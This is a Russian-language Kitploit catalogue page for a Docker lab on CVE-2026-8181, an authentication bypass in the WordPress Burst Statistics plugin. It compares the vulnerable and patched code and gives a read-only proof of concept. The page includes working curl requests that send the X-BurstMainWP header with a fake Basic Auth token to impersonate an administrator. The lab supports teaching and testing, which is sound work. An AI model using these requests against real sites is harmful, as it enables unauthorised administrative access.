Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181-Lab — Docker-лаборатория, демонстрирующая обход аутентификации CVE-2026-8181 в плагине WordPress Burst Statistics. Сравнивает уязвимую и исправленную версии с безвредным PoC, чтобы проиллюстрировать неправильную аутентификацию в REST API запросах. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьCTFТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
rootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Docker-лаборатория, демонстрирующая обход аутентификации CVE-2026-8181 в плагине WordPress Burst Statistics. Сравнивает уязвимую и исправленную версии с безвредным PoC, чтобы проиллюстрировать неправильную аутентификацию в REST API запросах.

Репозиторий
3 месяцев назадЕщё не проверено

CVE-2026-8181 — Лабораторная работа по обходу аутентификации Burst Statistics

Локальная Docker-лаборатория для CVE-2026-8181, обхода аутентификации в плагине WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.

Эта лаборатория сравнивает уязвимую версию плагина с исправленной и использует PoC с минимальным вредом, чтобы доказать различие без создания пользователей, загрузки файлов или изменения состояния WordPress.

Краткое описание

Затронутый плагин: Burst Statistics – Privacy-Friendly WordPress Analytics Уязвимые версии: 3.4.0 – 3.4.1.1 Исправленная версия: 3.4.2 Тип уязвимости: Обход аутентификации / Некорректная аутентификация Воздействие: Неаутентифицированный злоумышленник может выдать себя за администратора на время запроса к REST API, если ему известно действительное имя пользователя администратора.

В этой лаборатории:

  • vuln запускает Burst Statistics 3.4.1.1
  • patched запускает Burst Statistics 3.4.2
  • PoC отправляет поддельный пароль Basic Authentication с заголовком X-BurstMainWP: 1
  • Уязвимый сервис обрабатывает запрос как администратор
  • Исправленный сервис отклоняет тот же запрос

Архитектура лаборатории

Сервис seed устанавливает WordPress, создает администратора лаборатории и активирует Burst Statistics в обеих средах.

Имя пользователя администратора лаборатории:

root@kitploit:~
labadmin

PoC намеренно использует неправильный пароль для доказательства обхода.

Корневая причина

Burst Statistics включает путь прокси-аутентификации, связанный с MainWP. Когда запрос REST API содержит этот заголовок:

root@kitploit:~
X-BurstMainWP: 1

Burst делегирует аутентификацию методу MainWP_Proxy::is_mainwp_authenticated().

В уязвимой версии функция читает контролируемые злоумышленником учетные данные Basic Authentication, извлекает имя пользователя и пароль и передает их ядру WordPress:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );

Ошибка заключается в проверке возвращаемого значения.

Уязвимая логика: 3.4.1.1

Упрощено из includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

Уязвимый код отклоняет только WP_Error. Однако wp_authenticate_application_password() может вернуть null или другое не-пользовательское значение, когда аутентификация на самом деле не удалась. Поскольку null не является WP_Error, проверка проходит.

После этого плагин ищет указанного пользователя и вызывает:

root@kitploit:~
wp_set_current_user( $user->ID );

Это заставляет WordPress обрабатывать текущий запрос REST API как этого пользователя. Если имя пользователя принадлежит администратору, проверки прав WordPress видят администратора на время запроса.

Логика исправления

Исправленная версия устраняет ошибку в проверке аутентификации, требуя настоящий объект аутентифицированного пользователя перед продолжением.

Исправленная логика: 3.4.2

Концептуально исправление выглядит так:

root@kitploit:~
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

Важное изменение в том, что просто «неошибочное» возвращаемое значение больше не достаточно. Результат аутентификации должен быть реальным объектом \WP_User.

Это блокирует уязвимый путь, где null обходил старую проверку is_wp_error().

Почему это важно

Лаборатория демонстрирует read-only доказательство с помощью:

root@kitploit:~
/wp/v2/users/me?context=edit

Этой конечной точки достаточно, чтобы показать, считает ли WordPress запрос аутентифицированным.

Реальное воздействие может быть выше, чем в этой лабораторной работе. Если злоумышленник может выдать себя за администратора для запроса REST API, он может получить доступ к привилегированным конечным точкам WordPress. В типичных конфигурациях WordPress доступ администратора может привести к полному захвату сайта через создание учетных записей, пароли приложений, установку плагинов, изменение темы или другие административные действия.

Этот репозиторий намеренно избегает таких деструктивных путей.

Запуск

root@kitploit:~
docker compose up -d --build

Дождитесь завершения одноразового сервиса seed:

root@kitploit:~
docker compose logs seed

Ожидаемый вывод seed:

root@kitploit:~
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Установите зависимость Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Запустите PoC против уязвимого сервиса:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

Ожидаемый результат для уязвимого:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

Запустите тот же PoC против исправленного сервиса:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

Ожидаемый результат для исправленного:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

Ручной тест

Сгенерируйте поддельный токен Basic Authentication:

root@kitploit:~
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

Уязвимый сервис

Базовый запрос без заголовков обхода:

root@kitploit:~
curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Ожидается:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Попытка обхода:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Ожидается:

root@kitploit:~
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

Исправленный сервис

Запустите ту же попытку обхода против исправленного сервиса:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

Ожидается:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Доказательства на стороне сервера

Уязвимый сервис четко показывает изменение поведения:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

Исправленный сервис отклоняет как неаутентифицированные, так и попытки обхода:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

Примечания по безопасности

Этот PoC намеренно наносит минимальный вред:

  • Нет создания учетной записи администратора
  • Нет создания пароля приложения
  • Нет загрузки плагина
  • Нет изменения темы
  • Нет выполнения команд
  • Нет постоянного изменения состояния
  • Ограничение только localhost в скрипте PoC

Используйте эту лабораторию только в вашем локальном Docker-окружении.

Ссылки

  • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  • Технический анализ от Wordfence: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • Ссылка на уязвимый исходный код, Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
  • Ссылка на исправленный исходный код, Burst Statistics trunk / 3.4.2: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
  • Входная точка помощника администратора: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
Скачать инструмент
СервисОписаниеURL
vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
db_vulnMySQL для уязвимого WordPressТолько внутренний
db_patchedMySQL для исправленного WordPressТолько внутренний
seedОдноразовый контейнер настройки WP-CLIТолько внутренний